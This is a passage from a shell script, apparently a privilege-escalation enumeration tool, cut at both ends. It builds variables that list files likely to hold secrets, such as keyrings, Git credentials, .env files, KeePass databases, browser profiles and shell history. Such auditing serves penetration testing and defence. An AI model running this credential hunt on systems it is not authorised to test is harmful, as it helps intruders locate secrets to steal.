"$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.irssi$" | sort | uniq | head -n 70) - PSTORAGE_KEYRING=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70) - PSTORAGE_FILEZILLA=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "filezilla$|filezilla\.xml$|recentservers\.xml$" | sort | uniq | head -n 70) - PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70) - PSTORAGE_SPLUNK=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "passwd$" | sort | uniq | head -n 70) - PSTORAGE_GITLAB=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E '/lib' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70) - PSTORAGE_PGP_GPG=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E 'README.gnupg' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70) - PSTORAGE_CACHE_VI=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70) - PSTORAGE_DOCKER=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$" | sort | uniq | head -n 70) - PSTORAGE_FIREFOX=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^" | grep -E "\.mozilla$|Firefox$" | sort | uniq | head -n 70) - PSTORAGE_CHROME=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^" | grep -E "google-chrome$|Chrome$" | sort | uniq | head -n 70) - PSTORAGE_OPERA=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^" | grep -E "com\.operasoftware\.Opera$" | sort | uniq | head -n 70) - PSTORAGE_SAFARI=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^" | grep -E "Safari$" | sort | uniq | head -n 70) - PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70) - PSTORAGE_FASTCGI=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "fastcgi_params$" | sort | uniq | head -n 70) - PSTORAGE_SNMP=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_PYPIRC=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.pypirc$" | sort | uniq | head -n 70) - PSTORAGE_POSTFIX=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "postfix$" | sort | uniq | head -n 70) - PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.cloudflared$" | sort | uniq | head -n 70) - PSTORAGE_HISTORY=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*_history.*$" | sort | uniq | head -n 70) - PSTORAGE_HTTP_CONF=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "httpd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_HTPASSWD=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.htpasswd$" | sort | uniq | head -n 70) - PSTORAGE_LDAPRC=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.ldaprc$" | sort | uniq | head -n 70) - PSTORAGE_ENV=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.env$" | sort | uniq | head -n 70) - PSTORAGE_MSMTPRC=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.msmtprc$" | sort | uniq | head -n 70) - PSTORAGE_INFLUXDB=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "influxdb\.conf$" | sort | uniq | head -n 70) - PSTORAGE_ZABBIX=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "zabbix_server\.conf$|zabbix_agentd\.conf$|zabbix$" | sort | uniq | head -n 70) - PSTORAGE_GITHUB=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70) - PSTORAGE_SVN=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.svn$" | sort | uniq | head -n 70) - PSTORAGE_KEEPASS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70) - PSTORAGE_PRE_SHARED_KEYS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.psk$" | sort | uniq | head -n 70) - PSTORAGE_PASS_STORE_DIRECTORIES=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.password-store$" | sort | uniq | head -n 70) - PSTORAGE_FTP=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|sites\.ini$|wcx_ftp\.ini$|winscp\.ini$|ws_ftp\.ini$" | sort | uniq | head -n 70) - PSTORAGE_BIND=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/var|^/usr|^/etc" | grep -E "bind$" | sort | uniq | head -n 70) - PSTORAGE_SEEDDMS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "seeddms.*$" | sort | uniq | head -n 70) - PSTORAGE_DDCLIENT=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E 